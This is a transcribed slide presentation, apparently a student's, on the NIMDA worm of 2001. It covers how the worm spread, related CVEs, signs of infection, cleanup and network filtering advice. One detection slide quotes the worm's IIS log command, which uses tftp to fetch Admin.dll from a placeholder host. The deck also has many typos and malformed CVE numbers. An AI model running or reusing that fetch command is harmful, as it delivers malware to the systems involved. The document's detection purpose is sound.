Analysis on NIMDA Worm in Windows | Exploitation | Detection | Propagation

Analysis on NIMDA Worm in Windows | Exploitation | Detection | Propagation

In this presentaion wwe are mainly focussing on the blow mentioned key topics related to NIMDA warm;

What is NIMDA ?
Propagation via Windows Shares, Web & Emails.
How NIMDA works via web browsers?
What can Attacker Do after Compromising Your System?
CVEs related to Nimda.
Signs of Infection.
NIMDA Signatures.
Key aspects involved like OS, protocols, Applications & Services.
Recommendations for For Network Admins & For End User Systems.

1. Analysis on NIMDA Worm in Windows | Exploitation | Detection | Propagation Weerarathna P.G.G.G.

2. Hello! I am Gayan Weerarathna Lets get started with todays presentation… 😉😉 2

3. CONTENT 1). Introduction 2). Propagations 3). Exploitation 4). Detection 5). Eradication 6). Protection 7). Recommendations 8). References 3

4. Weekly Roadmap 4 1 3 5 6 4 2 Introduction Exploitation Protection Propagations Detection Conclusion

5. 5

6. 1 Introduction

7. What is NIMDA ? 1 NIMDA which is the backword spelling of word “ADMIN” It is a malicious file infection computer warm that got infected to Windows IIS servers and Internet Explorer and made them weak Occurred in 18 th of September 2001

8. What is NIMDA ? 1 Uses commands that trick the targeted program into granting access Worst case scenario – reformatting of affected disks + program reinstallation Mainly takes advantage of out-of-date MS applications on networked computers servers with vulnerable Internet Information Service (IIS) PCs running vulnerable Internet Explorer (IE)

9. 2 Propagation

10. User may have read, write, connect, delete, and execute privileges on any file system It depends on configuration established by the sys admin A share with no password = successful infection Makes multiple MIME-encoded duplicates 10 1) Windows Shares

11. First, check for previous infections of "Code Red II" worm Second, check for Microsoft exploits that Nimda uses. User infection 11 2) Web

12. Use MAPI service to collect email addresses from infected machines Then send emails with attachment called “readme.exe” Any vulnerable IE user can be infected by that attachment Email Propagation characteristics: Variable mail subject Closely 57344 (bytes) size attachment 12 3) Email

13. 3 Exploitation

14. 3

15. What can Attacker Do after Compromising Your System? 3 Passwords can be stolen or changed Placing keystroke-logging software in your device Reconfiguration of Firewall rules Sending harmful content using victim`s e-mail address

16. CVEs related to Nimda 3 "Web Server Folder Traversal" vulnerability (CVE- -2000-0884) "Directory Traversal" vulnerability (CVE--2001- 0333) "MIME Attachment Execution" (CVE- 2001—0154) "Office 2000 dll Execution“ (CVE--2000-0854)

17. 4 Detection

18. Signs of Infection 4 root.exe file string like: [/c+tftp percent 20- I percent 20x.x.x.x percent 20GET percent 20Admin.dll percent 20d:Admin.dll] inside the IIS logs Admin.dll file inside any root folders .nws / .eml files in multiple directories

19. Signatures 4 web server logs contain the following signatures

20. 5 Eradication

21. 5 All the identifies systems were entirely rebuilt or fixed Some infected servers kept sending infection techniques to others Systems were rebuilt using an Windows NT 4.0 SP3 image which seems to be much reliable in this case Immediately after the infection all the necessary systems were quarantined.

22. 6 Protection

23. 6 Awareness Scale up your network should be parallel with its security also On both servers and workstations, virus identification software all should be kept up to date Implement a mission critical backup process Approved and trusted virus protection for all the platforms and OS Make it a habit for everyone to follow security best practices

24. 6 Operating Systems Microsoft Windows 95 Microsoft Windows ME Microsoft Windows 98 Microsoft Windows NT Microsoft Windows 2000 workstation Protocols HTTP ARP SMTP TFTP SMB TCP/IP Key Aspect Involved

25. 6 Applications Internet Explorer Windows Explorer Outlook Services Microsoft IIS 4.0 MAPI Microsoft IIS 5.0 Net BIOS Key Aspect Involved

26. 7 Recommendations

27. For Network Admins 7 Ingress filtering Must be used to prevent externally started inbound connection(s) to unauthorized services at the boundary. Only device that need the allow inbound connections are, severs. Port 80/TCP >> can stop copies of NIMDA Filtering ports 69/UDP >> can stop the worm from being downloaded to IIS using TFTP

28. For Network Admins 7 Egress filtering Outbound connections towards the Internet are required by machines offering public services Port 69/UDP >> can restrict certain components of the worm's spread

29. For End User Systems 7 Keep using a reliable Antivirus Product Disable Java Scripts Do NOT open suspicious attachments in e-mails Use the patch provided by your vendor

30. 8 References C. M. University, “resources.sei.cmu.edu,” 12 2001. [Online]. Available: https://resources.sei.cmu.edu/library/assetview.cfm?assetID=496190 cve.mitre.org, “CVE,” [Online]. Available: http://cve.mitre.org/cgibin/cvename.cgi?name=CVE-2000-0884 cve.mitre.org, “CVE,” [Online]. Available: http://cve.mitre.org/cgibin/cvename.cgi?name=CVE-2001-0333 cve.mitre.org, “CVE,” [Online]. Available: http://cve.mitre.org/cgibin/cvename.cgi?name=CVE-2001-0154 cve.mitre.org, “CVE,” [Online]. Available: http://cve.mitre.org/cgibin/cvename.cgi?name=CVE-2000-0854 R. Lemos, “ZDNET,” 19 09 2001. [Online]. Available: https://www.zdnet.com/article/helpand-howto-nimda/

31. 9 Methodology The goal of this research is to understand more about the NIMDA Worm: Exploitation, Detection, and Propagation in Windows. The research for this topic was conducted using a Google survey, websites, books, academic studies, research papers and lectures. Using all of the aforementioned sources, I acquired the required data and analytics for my study.

32. 10 Conclusion The core idea behind NIMDA's findings is that it will weaken the system's confidentiality, exposing it to future attacks by making it susceptible through file changes. Furthermore, this warm attack has resulted in a significant amount of unavailability in the target systems. NIMDA uses a variety of propagation techniques, including email propagation, Windows share propagation  and Web propagation.  Other than the major themes, this research report also covers subtopics such as NIMDA eradication, how to guard against NIMDA, and expert suggestions/recommendation om how to protect from NIMDA.

33. Thank You ! Stay Safe. 33